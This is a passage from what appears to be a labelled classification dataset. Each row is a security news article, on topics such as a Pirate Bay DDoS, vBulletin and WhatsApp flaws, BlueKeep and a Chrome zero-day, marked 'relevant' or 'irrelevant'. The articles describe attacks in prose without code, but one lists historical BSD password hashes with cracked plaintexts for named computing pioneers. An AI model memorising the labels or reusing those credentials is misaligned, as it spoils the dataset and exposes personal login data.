appropriate communication program that enforces end-to-end encryption.",irrelevant
"The Pirate Bay was recently down for over a week due to a DDoS attack It seems like the prolonged downtime and technical difficulties faced by The Pirate Bay over the past several weeks were due to a series of distributed denial of service (DDoS) attacks against the widely-popular torrent website by malicious actors. For those unaware, The Pirate Bay was down for more than a week with most visitors displayed a Cloudflare error mentioning that a ""bad gateway"" is causing problems, while others served with a ""database maintenance"" message prompting users to check back in 10 minutes. Though the site's moderators did not reveal any details regarding the Pirate Bay downtime, a reputable source with a direct link with the operators told Torrent Freak that the recent Pirate Bay downtime issues ""were likely caused by malicious actors who DDoSed the site's search engine with specially crafted search queries."" The attacker(s) flooded The Pirate Bay with ""searches that break the Sphinx search daemon,"" effectively crashing the torrent download website, making site visitors unable to download magnet links or torrent files. Sphinx is an open source full-text search engine, and The Pirate Bay reportedly used an older version of the software. According to the source, The Pirate Bay has since updated Sphinx to the newer version of the software, which has resolved the crash issues, though the free torrent download site is still returning errors in some regions. ""Due to the high volume of malicious search queries, it wasn't possible to log the errors and send a bug report, which complicated matters."" It is still not clear who targeted The Pirate Bay and what was the motive of attackers behind it. The staffer or moderators have not yet spoken anything about the incident. The Pirate Bay is one of the most popular and most visited file-sharing websites predominantly used to share copyrighted material free of charge, allowing users to download software, movies, music, and TV shows for free. The Pirate Bay is usually in the news for copyright infringement by movie studios, music producers, and software creators, due to which many ISPs across several countries block the free torrent download website. However, users can still access The Pirate Bay using piratebay proxies or a secure VPN service. But, it should be noted that piratebay proxies would not help much to maintain anonymity, and also, many of these sites and mirrors include malicious copycats. The Hacker News always advises its readers to avoid illegal ways to download movies for free. Instead, it would be best if you use free movie streaming sites or Netflix, like streaming services to watch your favorite movies online.",irrelevant
"UNIX Co-Founder Ken Thompson's BSD Password Has Finally Been Cracked A 39-year-old password of Ken Thompson, the co-creator of the UNIX operating system among, has finally been cracked that belongs to a BSD-based system, one of the original versions of UNIX, which was back then used by various computer science pioneers. In 2014, developer Leah Neukirchen spotted an interesting ""/etc/passwd"" file in a publicly available source tree of historian BSD version 3, which includes hashed passwords belonging to more than two dozens Unix luminaries who worked on UNIX development, including Dennis Ritchie, Stephen R. Bourne, Ken Thompson, Eric Schmidt, Stuart Feldman, and Brian W. Kernighan. Since all passwords in that list are protected using now-depreciated DES-based crypt(3) algorithm and limited to at most 8 characters, Neukirchen decided to brute-force them for fun and successfully cracked passwords (listed below) for almost everyone using password cracking tools like John the Ripper and hashcat. The ones that she wasn't able to crack belonged to Ken Thompson and five other contributors who helped build the Unix system, including Bill Joy, who later co-founded Sun Microsystems in 1986 and designed the Java programming language. ""Ken's password eluded my cracking endeavor. Even an exhaustive search over all lower-case letters and digits took several days (back in 2014) and yielded no result,"" she wrote in a blog post published Wednesday. ""I also realized that compared to other password hashing schemes (such as NTLM), crypt(3) turns out to be quite a bit slower to crack (and perhaps was also less optimized)."" All Passwords Have Finally Been Cracked, Except Just One! Earlier this month, Neukirchen posted all her findings on the Unix Heritage Society mailing list and requested other members to help to crack the remaining passwords. Just 6 days after that, Australian engineer Nigel Williams responded with the plaintext password of Thompson, the father of Unix, which he claimed to have cracked in over 4 days using ""an AMD Radeon Vega64 running hashcat at about 930MH/s."" Thompson's password has been revealed as ""p/q2-q4!a"" — a notation in chess to describe the move ""pawn from Queen's 2 to Queen's 4."" Just a day after Willians revealed Thompson's password, another mailing list member, Arthur Krewat, successfully cracked and provided the passwords for four more remaining uncracked hashes. Here below we have listed plaintext passwords of all Unix luminaries, including their names, usernames and original hashed versions of their passwords: Ken Thompson, co-inventor of Unix Hashed → ZghOT0eRm4U9s Plaintext → p/q2-q4! Dennis Ritchie, co-inventor of BSD and creator of the C programming language Hashed → gfVwhuAMF0Trw Plaintext → dmac Brian W. Kernighan, Canadian computer scientist and Unix contributor Hashed → ymVglQZjbWYDE: Plaintext → /.,/., Stephen R. Bourne, creator of the Bourne shell command line interpreter Hashed → c8UdIntIZCUIA Plaintext → bourne Eric Schmidt, an early developer of Unix software and Former Google CEO: Hashed → FH83PFo4z55cU Plaintext → wendy!!! Stuart Feldman, author of Unix automation tool make and the first Fortran compiler Hashed → IIVxQSvq1V9R2 Plaintext → axolotl Here's a list of cracked passwords belonging to other computer science pioneers: Person Username Hashes Plaintext password Mark Horton mark Pb1AmSpsVPG0Y uio Kirk McKusick mckusick AAZk9Aj5/Ue0E foobar Richard Fateman fateman E9i8fWghn1p/I apr1744 Runs a program, not a login shell network 9EZLtSYjeEABE network UNIX-to-UNIX Copy uucp P0CHBwE/mB51k whatnot Peter Kessler peter Nc3IkFJyW2u7E ...hello Kurt Shoens kurt olqH1vDqH38aw sacristy John Foderaro jkf 9ULn5cWTc0b9E sherril. Peter J. Weinberger pjw N33.MCNcTh5Qw uucpuucp Ernie Co-vax root OVCPatZ8RFmFY cowperso John Reiser jfr X.ZNnZrciWauE 5%ghj Steve Johnson scj IL2bmGECQJgbk pdq;dq Bob Kridle kridle 4BkcEieEtjWXI jilland1 Keith Sklower sklower 8PYh/dUBQT9Ss theik!!! Robert Henry henry lj1vXnxTAPnDc sn74193n Howard Katseff hpk 9ycwM8mmmcp4Q graduat; Özalp Babaoğlu ozalp m5syt3.lB5LAE 12ucdort Bob Fabry fabry d9B17PTU2RTlM 561cml.. Tom London tbl cBWEbG59spEmM ..pnn521 Until now, all members in the list that Neukirchen found have had their passwords cracked except Bill Joy, whose username is bill and hashed password is "".2xvLVqGHJm8M""",irrelevant
"vBulletin Releases Patch Update for New RCE and SQLi Vulnerabilities After releasing a patch for a critical zero-day remote code execution vulnerability late last month, vBulletin has recently published a new security patch update that addresses 3 more high-severity vulnerabilities in its forum software. If left unpatched, the reported security vulnerabilities, which affect vBulletin 5.5.4 and prior versions, could eventually allow remote attackers to take complete control over targeted web servers and steal sensitive user information. Written in PHP, vBulletin is a widely used proprietary Internet forum software package that powers over 100,000 websites on the Internet, including Fortune 500 and Alexa Top 1 million companies websites and forums. Discovered by application security researcher Egidio Romano, the first vulnerability, tracked as CVE-2019-17132, is a remote code execution flaw, while the other two are SQL injection issues, both assigned a single ID as CVE-2019-17271. vBulletin RCE and SQLi Flaws The RCE flaw resides in the way vBulletin forum handles user requests to update avatars for their profiles, an icon or graphical representation of the user, allowing a remote attacker to inject and execute arbitrary PHP code on the target server through unsanitized parameters. However, it should be noted that this vulnerability is not exploitable in the default installation of the vBulletin forum, rather exploitation is possible when ""Save Avatars as Files"" option is enabled by the website administrator. Romano has also released a public proof-of-concept exploit for this RCE vulnerability. The other two vulnerabilities are read in-band and time-based SQL injection issues that reside in two separate endpoints and could allow administrators with restricted privileges to read sensitive data from the database, which they otherwise may not be allowed to access. vbulletin security vulnerabilities Since these two SQL injection flaws can not be exploited by any registered user and require special permissions, vBulletin forum administrators and users need not to panic. Security Patches Released Romano responsibly reported all the vulnerabilities to the vBulletin project maintainers just last week on September 30, and the team acknowledged his findings and released the following security patch updates that address the reported flaws. vBulletin 5.5.4 Patch Level 2 vBulletin 5.5.3 Patch Level 2 vBulletin 5.5.2 Patch Level 2 Administrators are highly recommended to apply the security patch before hackers started exploiting the vulnerabilities to target their forum users—just like someone did last week to steal login information of nearly 245,000 Comodo Forums users after the company failed to apply available patches on time.",relevant
"A Comprehensive Guide On How to Protect Your Websites From Hackers Humankind had come a long way from the time when the Internet became mainstream. What started as a research project ARPANET (Advanced Research Projects Agency Network) funded by DARPA has grown exponentially and has single-handedly revolutionized human behavior. When WWW (world wide web) came into existence, it was meant to share information over the Internet, from there part through natural evolution and part through webonomics driving innovations, Internet & www has metamorphosized into the lifeblood of the world. It is hard to imagine now how the world functioned before the time of the Internet. It has touched each aspect of human life and is now critical for day to day existence. No business today can exist without an online presence. It is no more just a medium to share information, but world economics runs over the web nowadays. Organizations, governments, and people all depend on this. New warfares will not happen in the real world but would be fought over the cyber world. So essentially, cybersecurity is as important or more important than physical security for any business, organization, or government. Try getting a website online without any protection, and you will immediately start seeing some traffic hits on your site. It is not because your site is something that everyone is looking for, but it is more because there are bots on the Internet that are continually looking for sites that can be exploited. To understand how to protect your site, one needs to understand how an attack happens. How and why does an attack happen? Attacks on-site happen for many reasons; it could be to steal private data, for some financial gains or just pure malicious reason to ensure genuine users are not able to reach your site. Whatever be the reason, an attack on the website can be painful and can have a catastrophic effect. Attackers generally try and exploit security vulnerabilities found in applications; various stages of attack can be generally thought as follows. Reconnaissance attack: During a reconnaissance attack, attackers try to get information of a website and see where the vulnerabilities lie, the intruder queries the alive IP in the network and then for the ports to determine the type and version of the application and operating system running on the target host and then tries to see what vulnerabilities are found in the application. This is generally done through automated bots, and it is due to this that when a website goes online immediately, there is an uptake of traffic and bots around on the Internet, which keep looking for sites to get any information that can be used by attackers. Exploitation: Once vulnerabilities are found in a site, attackers then weaponize the requests based on the vulnerabilities found and launch attacks, and this is done to exploit the vulnerabilities for some malicious intent. Depending on the attacker's intention, the attack against the website can be launched either to bring down the whole site altogether or to escalate from there. Command & Control: If the attacker chooses to escalate, then using the exploit, he might try to get control of the internal system or privilege control for the exfiltration of data from the targeted website or to infiltrate some financial crime. How to keep your site secured? ""Be smart, understand your risk profile and ensure your site is always protected."" One of the first steps to protect your site is to put your site behind a firewall or any intrusion prevention system, which would help you protect the site from basic reconnaissance attacks. However, that is just not enough because as technology improves, attackers are also becoming sophisticated—they can figure out website vulnerabilities to exploit even if it is behind a firewall. Therefore, the best defense is to not have a vulnerable application out on the web, and in order to do this, one needs to identify the vulnerabilities found in the application and fix them. Vulnerabilities can be found through automated scans. There are multiple automated scans out there, but a good scanner should be able to crawl the application, mimick user behavior to identify different workflows, and identify vulnerabilities. That said, automated scan alone is not enough to ensure an application is thoroughly tested from a security perspective. Some flaws, such as CSRF (Cross-Site Request Forgery) and business logic vulnerabilities, require a human to be in the loop to exploit and verify the vulnerability. Only Manual Pen Testing (MPT) can provide identification and manual validation of these vulnerabilities. Any flaw where a real, human judgment call is needed is where pen-testing truly shines. Some categories of vulnerabilities, such as authorization issues and business logic flaws, cannot be found with automated assessments and will always require a skilled penetration tester to identify them. During manual PT, the penetration testers understand the application through a thorough application walk-through by talking to the customer and understanding the nature of the application, which helps them understand and define accurate business logic test cases as per the application that needs to be tested. Post this, they test the application during run time and figure out vulnerabilities that are consolidated along with the automated scanning results and presented in comprehensive testing reports that include proof of concept and screenshots of every vulnerability to find out loopholes in a step by step process. Essentially experts do ethical hacking to identify vulnerabilities before attackers do. Here are some examples of business logic flaws that Manual Pen Testing teams undertake in their testing scenarios: Malicious file upload, where the testing team will try to upload unsupportive files to the application and figure out whether those files can put any kind of severe impact on the server end. Price manipulation and product manipulation in e-commerce applications where they will try to change the price or quantity of products to overcome the business validation for pricing. Pen Testing will also validate all authorization test cases as well in which they will try to bypass the authorization mechanism and access authorized pages/files/data from unauthenticated user/less privileged user. Once the vulnerabilities are found, the application vulnerability needs to be fixed before the application goes live so that there is no application that is vulnerable and can be exploited by attackers. Unfortunately, though many organization makes the best effort to ensure their websites and web apps are not vulnerable on the web, reality kicks in. There is always pressure on businesses to continually evolve and innovate, and in this quest, security takes a back seat. Many times, organizations do not have the security expertise to ensure their sites are safe, so they end up employing the wrong tools or the security measures they have in place most of the time remain inadequate. How can AppTrana help you? AppTrana is the only solution in the industry that offers a comprehensive solution to provide organizations with the ability to identify the risk profile of their application and protect them immediately. The best part is organizations are not expected to have any security expertise, AppTrana is a completely managed security solution. With AppTrana, customers get the ability to scan their application through its automated scanner to find out vulnerabilities. In addition to it, customers can also request Premium Scans (manual pen testing scans) where Indusface security experts scan the application through ethical hacking means to find any business logic vulnerabilities in the application and give customers a complete risk profile of their application. It does not stop there. AppTrana comes with an inbuilt web application firewall where the vulnerabilities found can be immediately protected. The rules in the AppTrana portal are written by Indusface security experts. There is no need for customers to have any expertise. AppTrana has 3 sets of rules: Advance — which is fine-tuned for FPs, and they can be put in block mode immediately. Premium — which is monitored and tuned for application characters Custom — which customers can request based on specific application needs. AppTrana provides a comprehensive view of vulnerabilities found in the application, and the protection status indicates they are protected in the WAF layer or not. Based on these, customers can ensure their web apps and websites are always secure, and there are no assets that are vulnerable, which can be exploited by attackers. Try out AppTrana now. Start with a 14-day free trial.",irrelevant
"Facebook Sues Israeli NSO Spyware Firm For Hacking WhatsApp Users Finally, for the very first time, an encrypted messaging service provider is taking legal action against a private entity that has carried out malicious attacks against its users. Facebook filed a lawsuit against Israeli mobile surveillance firm NSO Group on Tuesday, alleging that the company was actively involved in hacking users of its end-to-end encrypted WhatsApp messaging service. Earlier this year, it was discovered that WhatsApp had a critical vulnerability that attackers were found exploiting in the wild to remotely install Pegasus spyware on targeted Android and iOS devices. The flaw (CVE-2019-3568) successfully allowed attackers to silently install the spyware app on targeted phones by merely placing a WhatsApp video call with specially crafted requests, even when the call was not answered. Developed by NSO Group, Pegasus allows access to an incredible amount of data from victims' smartphones remotely, including their text messages, emails, WhatsApp chats, contact details, calls records, location, microphone, and camera. Pegasus is NSO's signature product that has previously been used against several human rights activists and journalists, from Mexico to the United Arab Emirates two years ago, and Amnesty International staffers in Saudi Arabia and another Saudi human rights defender based abroad earlier last year. Though NSO Group always claims it legally sells its spyware only to governments with no direct involvement, WhatsApp head Will Cathcart says the company has evidence of NSO Group's direct involvement in the recent attacks against WhatsApp users. NSO Group Violated WhatsApp's Terms of Service In a lawsuit filed (PDF) in U.S. District Court in San Francisco today, Facebook said NSO Group had violated WhatsApp's terms of services by using its servers to spread the spyware to approximately 1,400 mobile devices during an attack in April and May this year. The company also believes that the attack targeted ""at least 100 members of civil society, which is an unmistakable pattern of abuse,"" though it says this number may grow higher as more victims come forward. ""This attack was developed to access messages after they were decrypted on an infected device, abusing in-app vulnerabilities and the operating systems that power our mobile phones,"" Facebook-owned WhatsApp said in a blog post. ""Defendants (attackers) created WhatsApp accounts that they used and caused to be used to send malicious code to Target Devices in April and May 2019. The accounts were created using telephone numbers registered in different counties, including Cyprus, Israel, Brazil, Indonesia, Sweden, and the Netherlands."" The targeted users include attorneys, journalists, human rights activists, political dissidents, diplomats, and other senior foreign government officials, with WhatsApp numbers from different country codes, including the Kingdom of Bahrain, the United Arab Emirates, and Mexico. WhatsApp said the company sent a warning note to all the affected 1,400 users impacted by this attack, directly informing them about what happened. Facebook has also named NSO Group's parent company 'Q Cyber Technologies' as a second defendant in the case. ""The complaint alleges they violated both U.S. and California laws as well as the WhatsApp Terms of Service, which prohibits this type of abuse,"" the lawsuit states. Now, the company has sued NSO Group under the United States state and federal laws, including the Computer Fraud and Abuse Act, as well as the California Comprehensive Computer Data Access and Fraud Act.",relevant
"Just a GIF Image Could Have Hacked Your Android Phone Using WhatsApp A picture is worth a thousand words, but a GIF is worth a thousand pictures. Today, the short looping clips, GIFs are everywhere—on your social media, on your message boards, on your chats, helping users perfectly express their emotions, making people laugh, and reliving a highlight. But what if an innocent-looking GIF greeting with Good morning, Happy Birthday, or Merry Christmas message hacks your smartphone? Well, not a theoretical idea anymore. WhatsApp has recently patched a critical security vulnerability in its app for Android, which remained unpatched for at least 3 months after being discovered, and if exploited, could have allowed remote hackers to compromise Android devices and potentially steal files and chat messages. WhatsApp Remote Code Execution Vulnerability The vulnerability, tracked as CVE-2019-11932, is a double-free memory corruption bug that doesn't actually reside in the WhatsApp code itself, but in an open-source GIF image parsing library that WhatsApp uses. hacking whatsapp account Discovered by Vietnamese security researcher Pham Hong Nhat in May this year, the issue successfully leads to remote code execution attacks, enabling attackers to execute arbitrary code on targeted devices in the context of WhatsApp with the permissions the app has on the device. ""The payload is executed under WhatsApp context. Therefore it has the permission to read the SDCard and access the WhatsApp message database,"" the researcher told The Hacker News in an email interview. ""Malicious code will have all the permissions that WhatsApp has, including recording audio, accessing the camera, accessing the file system, as well as WhatsApp's sandbox storage that includes protected chat database and so on…"" How Does WhatsApp RCE Vulnerability Work? WhatsApp uses the parsing library in question to generate a preview for GIF files when users open their device gallery before sending any media file to their friends or family. Thus, to be noted, the vulnerability does not get triggered by sending a malicious GIF file to a victim; instead it gets executed when the victim itself simply opens the WhatsApp Gallery Picker while trying to send any media file to someone. To exploit this issue, all an attacker needs to do is send a specially crafted malicious GIF file to a targeted Android user via any online communication channel and wait for the user to just open the image gallery in WhatsApp. However, if attackers want to send the GIF file to victims via any messaging platform like WhatsApp or Messenger, they need to send it as a document file rather than media file attachments, because image compression used by these services distorts the malicious payload hidden in images. As shown in a proof-of-concept video demonstration the researcher shared with The Hacker News, the vulnerability can also be exploited to simply pop-up a reverse shell remotely from the hacked device. Vulnerable Apps, Devices and Available Patches The issue affects WhatsApp versions 2.19.230 and older versions running on Android 8.1 and 9.0, but does not work for Android 8.0 and below. ""In the older Android versions, double-free could still be triggered. However, because of the malloc calls by the system after the double-free, the app just crashes before reaching to the point that we could control the PC register,"" the researcher writes. Nhat told The Hacker News that he reported the vulnerability to Facebook, who owns WhatsApp, in late July this year, and the company included a security patch in WhatsApp version 2.19.244, released in September. Therefore, to protect yourself against any exploit surrounding this vulnerability, you are recommended to update your WhatsApp to the latest version from the Google Play Store as soon as possible. Besides this, since the flaw resides in an open-source library, it is also possible that any other Android app using the same affected library could also be vulnerable to similar attacks. The developer of the affected GIF library, called Android GIF Drawable, has also released version 1.2.18 of the software to patch the double-free vulnerability. WhatsApp for iOS is not affected by this vulnerability.",relevant
"Former Yahoo Employee Admits Hacking into 6000 Accounts for Sexual Content An ex-Yahoo! employee has pleaded guilty to misusing his access at the company to hack into the accounts of nearly 6,000 Yahoo users in search of private and personal records, primarily sexually explicit images and videos. According to an press note released by the U.S. Justice Department, Reyes Daniel Ruiz, a 34-year-old resident of California and former Yahoo software engineer, admitted accessing Yahoo internal systems to compromise accounts belonging to younger women, including his personal friends and work colleagues. Once he had access to the users' Yahoo accounts, Ruiz then used information obtained from users' email messages and their account's login access to hacking into their iCloud, Gmail, Facebook, DropBox, and other online accounts in search of more private material. yahoo email hacking Besides this, Ruiz also made copies of private images and videos that he found in the personal accounts of Yahoo users without their permission and stored them on a private computer at his home, according to federal prosecutors. However, after one of his colleagues at the company noticed the suspicious account activity, Ruiz then destroyed his private computer and hard drive containing the stolen material in an attempt to erase any proofs. Ruiz was indicted by a federal grand jury on 4th April and charged with one count of computer intrusion and one count of interception of a wire communication. However, under the plea agreement, Ruiz has pledged guilty to a single count of computer intrusion, for which he could face up to five years in prison and a $250,000 restitution fine for his victims. Ruiz is currently on release on a $200,000 bond as he awaits sentence hearing on February 3, 2020.",irrelevant
"New Flaw Lets Rogue Android Apps Access Camera Without Permission An alarming security vulnerability has been discovered in several models of Android smartphones manufactured by Google, Samsung, and others that could allow malicious apps to secretly take pictures and record videos — even when they don't have specific device permissions to do so. You must already know that the security model of the Android mobile operating system is primarily based on device permissions where each app needs to explicitly define which services, device capabilities, or user information it wants to access. However, researchers at Checkmarx discovered that a vulnerability, tracked as CVE-2019-2234, in pre-installed camera apps on millions of devices could be leveraged by attackers to bypass such restrictions and access device camera and microphone without any permissions to do so. How Can Attackers Exploit the Camera App Vulnerability? The attack scenario involves a rogue app that only needs access to device storage (i.e., SD card), which is one of the most common requested permissions and does not raise any suspicion. According to researchers, by merely manipulating specific ""actions and intents,"" a malicious app can trick vulnerable camera apps into performing actions on behalf of the attacker, who can then steal photos and videos from the device storage after being taken. Since smartphone camera apps already have access to required permissions, the flaw could allow attackers to indirectly and surreptitiously take photos, record videos, eavesdrop on conversations, and track location — even if the phone is locked, the screen is off, or the app is closed. ""After a detailed analysis of the Google Camera app, our team found that by manipulating specific actions and intents, an attacker can control the app to take photos and/or record videos through a rogue application that has no permissions to do so,"" Checkmarx wrote in a blog post published today. ""Additionally, we found that certain attack scenarios enable malicious actors to circumvent various storage permission policies, giving them access to stored videos and photos, as well as GPS metadata embedded in photos, to locate the user by taking a photo or video and parsing the proper EXIF data. This same technique also applied to Samsung's Camera app."" To demonstrate the risk of the vulnerability for Android users, the researchers created a proof-of-concept rogue app masqueraded as an innocent weather app that only asks for the basic storage permission. The PoC app came in two parts — the client app running on an Android device and an attacker's controlled command-and-control (C&C) server that the app creates a persistent connection to so that closing the app did not terminate the server connection. The malicious app designed by the researchers was able to perform a long list of malicious tasks, including: Making the camera app on the victim's phone to take photos and record videos and then upload (retrieve) it to the C&C server. Pulling GPS metadata embedded into photos and videos stored on the phone to locate the user. Waiting for a voice call and automatically recording audio from both sides of the conversation and video from the victim's side. Operating in stealth mode while taking photos and recording videos, so no camera shutter sounds for alerting the user. The malicious app implemented the wait for a voice call option via the phone's proximity sensor that can sense when the phone is held to the victim's ear. Researchers have also published a video of successfully exploiting the vulnerabilities on Google Pixel 2 XL and Pixel 3 and confirmed that the vulnerabilities were relevant to all Google phone models. Vulnerability Disclosure and Patch Availability The Checkmarx research team responsibly reported their findings to Google in early July with the PoC app and a video demonstrating an attack scenario. Google confirmed and addressed the vulnerability in its Pixel line of devices with a camera update that became available in July, and contacted other Android-based smartphone OEMs in late August to inform them about the issue, which the company rated as ""High"" in severity. However, Google did not disclose the names of the affected manufacturers and models. ""We appreciate Checkmarx bringing this to our attention and working with Google and Android partners to coordinate disclosure,"" Google said. ""The issue was addressed on impacted Google devices via a Play Store update to the Google Camera Application in July 2019. A patch has also been made available to all partners."" Also Read: Over 1,300 Android Apps Caught Collecting Data Even If You Deny Permissions Checkmarx also reported the vulnerability to Samsung that affected its Camera app. Samsung confirmed and fixed the issue in late August, although it wasn't revealed when the company patched the flaw. ""Since being notified of this issue by Google, we have subsequently released patches to address all Samsung device models that may be affected. We value our partnership with the Android team that allowed us to identify and address this matter directly,"" Samsung said. To protect yourself from attacks surrounding this vulnerability, ensure you are running the latest version of the camera app on your Android smartphone. Besides this, you are also recommended to run the latest version of the Android operating system and regularly update apps installed on your phone.",relevant
"First Cyber Attack 'Mass Exploiting' BlueKeep RDP Flaw Spotted in the Wild Cybersecurity researchers have spotted a new cyberattack that is believed to be the very first but an amateur attempt to weaponize the infamous BlueKeep RDP vulnerability in the wild to mass compromise vulnerable systems for cryptocurrency mining. In May this year, Microsoft released a patch for a highly-critical remote code execution flaw, dubbed BlueKeep, in its Windows Remote Desktop Services that could be exploited remotely to take full control over vulnerable systems just by sending specially crafted requests over RDP. BlueKeep, tracked as CVE-2019-0708, is a wormable vulnerability because it can be weaponized by potential malware to propagate itself from one vulnerable computer to another automatically without requiring victims' interaction. BlueKeep has been considered to be such a serious threat that since its discovery, Microsoft and even government agencies [NSA and GCHQ] had continuously been encouraging Windows users and admins to apply security patches before hackers gain hold onto their systems. Even many security firms and individual cybersecurity researchers who successfully developed a fully working exploit for BlueKeep pledged not to release it to the public for a greater good—especially because nearly 1 million systems were found vulnerable even a month after patches were released. This is why amateur hackers took almost six months to come up with a BlueKeep exploit that is still unreliable and doesn't even have a wormable component. BlueKeep Exploit Spreads Cryptocurrency Malware The BlueKeep exploitation in the wild was first speculated by Kevin Beaumont on Saturday when his multiple EternalPot RDP honeypot systems got crashed and rebooted suddenly. bluekeep wormable rdp vulnerability Marcus Hutchins, the researcher who helped stop the WannaCry ransomware outbreak in 2017, then analysed the crash dumps shared by Beaumont and confirmed ""BlueKeep artifacts in memory and shellcode to drop a Monero Miner."" In a blog post published today, Hutchins said, ""Finally, we confirm this segment [in crash dump] points to executable shellcode. At this point, we can assert valid BlueKeep exploit attempts in the wild, with shellcode that even matches that of the shellcode in the BlueKeep Metasploit module!"" The exploit contains encoded PowerShell commands as the initial payload, which then eventually downloads the final malicious executable binary from a remote attacker-controlled server and executes it on the targeted systems. According to Google's VirusTotal malware scanning service, the malicious binary is cryptocurrency malware that mines Monero (XMR) using the computing power of infected systems to generate revenue for attackers. But It's Not Wormable Attack! Hutchins also confirmed that the malware spread by this BlueKeep exploit doesn't contain any self-spreading capabilities to jump unassisted from one computer to another. Instead, it appears that the unknown attackers are first scanning the Internet to find vulnerable systems and then exploiting them. In other words, without a wormable component, the attackers would be able to only compromise vulnerable systems that are directly connected to the Internet, but not those that are internally-connected and reachable from them. Though sophisticated hackers might have already been exploiting the BlueKeep flaw to stealthy compromise targeted victims, fortunately, the flaw has not yet been exploited at a larger scale, like WannaCry or NotPetya wormable attacks, as speculated initially. However, at the time of writing, it's unclear how many BlueKeep vulnerable Windows systems have been compromised in the latest cyberattacks to deploy the Monero miner in the wild. To protect yourself? Let me try this again—Go and fix the goddamn vulnerability if you are or your organisation is still using BlueKeep vulnerable Windows systems. If fixing the vulnerability in your organisation is not possible anytime sooner, then you can take these mitigations: Disable RDP services, if not required. Block port 3389 using a firewall or make it accessible only over a private VPN. Enable Network Level Authentication (NLA) – this is partial mitigation to prevent any unauthenticated attacker from exploiting this Wormable flaw.",relevant
"New Chrome 0-day Bug Under Active Attacks – Update Your Browser Now! Attention readers, if you are using Chrome on your Windows, Mac, and Linux computers, you need to update your web browsing software immediately to the latest version Google released earlier today. With the release of Chrome 78.0.3904.87, Google is warning billions of users to install an urgent software update immediately to patch two high severity vulnerabilities, one of which attackers are actively exploiting in the wild to hijack computers. Without revealing technical details of the vulnerability, the Chrome security team only says that both issues are use-after-free vulnerabilities, one affecting Chrome's audio component (CVE-2019-13720) while the other resides in the PDFium (CVE-2019-13721) library. The use-after-free vulnerability is a class of memory corruption issues that allows corruption or modification of data in the memory, enabling an unprivileged user to escalate privileges on an affected system or software. Thus, both flaws could enable remote attackers to gain privileges on the Chrome web browser just by convincing targeted users into visiting a malicious website, allowing them to escape sandbox protections and run arbitrary malicious code on the targeted systems. Google Chrome Zero-Day Under Active Attacks Discovered and reported by Kaspersky researchers Anton Ivanov and Alexey Kulaev, the audio component issue in the Chrome application has been found exploited in the wild, though it remains unclear at the time which specific group of hackers. ""Google is aware of reports that an exploit for CVE-2019-13720 exists in the wild,"" Google Chrome security team said in a blog post. ""Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven't yet fixed."" The use-after-free issue is one of the most common vulnerabilities discovered and patched in the Chrome web browser in the past few months. Just over a month ago, Google released an urgent security update for Chrome to patch a total of four use-after-free vulnerabilities in different components of the web browser, the most severe of which could allow remote hackers to take control of an affected system. In March this year, Google also released an emergency security update for Chrome after miscreants were found actively exploiting a similar use-after-free Chrome zero-day vulnerability in the wild affecting the browser's FileReader component. Technical Details of Chrome 0-day Exploit A day after Google released an emergency patch update for Chrome browser to fix two high-severity vulnerabilities, cybersecurity firm Kaspersky Labs revealed more technical details about the one that it reported to Google and was spotted being exploited in the wild. According to the researchers, attackers compromised a Korean-language news portal. They planted the exploit code on the site, like a watering-hole, to hack computers of its visitors opening the news portal using vulnerable versions of Google Chrome. hacking chrome browser The exploit reportedly installs the first stage malware on the targeted systems after exploiting Chrome vulnerability (CVE-2019-13720), which then connects to a hard-coded remote command-and-control server to download the final payload. Dubbed ""Operation WizardOpium"" by the researchers, the cyberattack has not yet been attributed to any specific group of hackers. Still, researchers found some similarities in the exploit code with the infamous Lazarus hacking group. ""So far, we have been unable to establish a definitive link with any known threat actors. There are certain very weak code similarities with Lazarus attacks, although these could very well be a false flag. The profile of the targeted website is more in line with earlier DarkHotel attacks that have recently deployed similar false flag attacks,"" Kaspersky said. For more details on the Operation WizardOpium exploiting the recently-patched Chrome vulnerability, you can head on to the new report just published by Kaspersky. Patch Available: Update Google Chrome Immediately To patch both security vulnerabilities, Google has already started rolling out Chrome version 78.0.3904.87 for Windows, Mac, and Linux operating systems. Although the Chrome web browser automatically notifies users about the latest available version, users are recommended to manually trigger the update process by going to ""Help → About Google Chrome"" from the menu. Besides this, Chrome users are also recommended to run all software on their systems, whenever possible, as a non-privileged user in an attempt to diminish the effects of successful attacks exploiting any zero-day vulnerability. We will update you with more information about these security vulnerabilities as soon as Google releases their technical details.",relevant
"The Comprehensive Compliance Guide (Get Assessment Templates) Complying with cyber regulations forms a significant portion of the CISO's responsibility. Compliance is, in fact, one of the major drivers in the purchase and implementation of new security products. But regulations come in multiple different colors and shapes – some are tailored to a specific vertical, while others are industry-agnostic. Some bare explicit consequences for failing to comply, while others have a more guidance-like nature. The Comprehensive Security Guide (download here), for the first time, provides security executives with a single document that gathers standardized and easy to use templates of all main compliance frameworks: PCI-DSS, HIPAA, NIST Cyber Security Framework and GDPR. Employing an independent auditor is the common practice to ensure one complies with the desired regulation. However, before having an external auditor excavating through the organizations' security stack internals, it makes sense for the security stakeholders to independently conduct a rough gap analysis of their environment and the regulation they seek to comply with. The Comprehensive Compliance Guide saves security stakeholders the time and trouble of building themselves such an evaluation tool. Instead of crafting a compliance matrix from scratch or searching across the web for a free template, CISOs can now use the guide to access a wide range of assessment templates effortlessly. While probably not all of them will be simultaneously used in a single organization, there are good chances that every organization will find at least one of them useful. The Comprehensive Compliance Guide encloses assessment templates for the following regulations: Payment Card Industry Data Security Standard (PCI DSS) — Information security standard for any organization that handles branded credit cards from the major card schemes. Proving that an organization complies with PCI-DSS is essential in shielding an organization from lawsuits that can arise in a breach scenario that entails the compromise of credit card data. Payment Card Industry Data Security Standard Health Insurance Portability and Accountability Act (HIPAA) — United States legislation that provides data privacy and security provisions for safeguarding medical information. HIPAA standard applies to all organizations that operate within the healthcare ecosystem: hospitals, medical centers, and health insurance providers, a market segment that is subject to significant cyberattacks. Health Insurance Portability and Accountability Act NIST Cyber Security Framework (CSF) — A policy framework of computer security guidance for how private sector organizations in the United States can assess and improve their ability to prevent, detect, and respond to cyberattacks. NIST CSF applies to all organizations and is not confined to a certain vertical. While not a binding regulation in the strict sense of the term, NIST CSF is rapidly becoming the general industry cybersecurity common standard and in practice, serves as an indication that sound cybersecurity policies are implemented and practiced. The General Data Protection Regulation (GDPR) — Regulation in EU law on data protection and privacy for all individual citizens of the European Union (EU) and the European Economic Area (EEA). It also addresses the transfer of personal data outside the EU and EEA areas. GDPR applies to any organization that stores and processes EU citizens PII regardless if of its location. Failure to comply 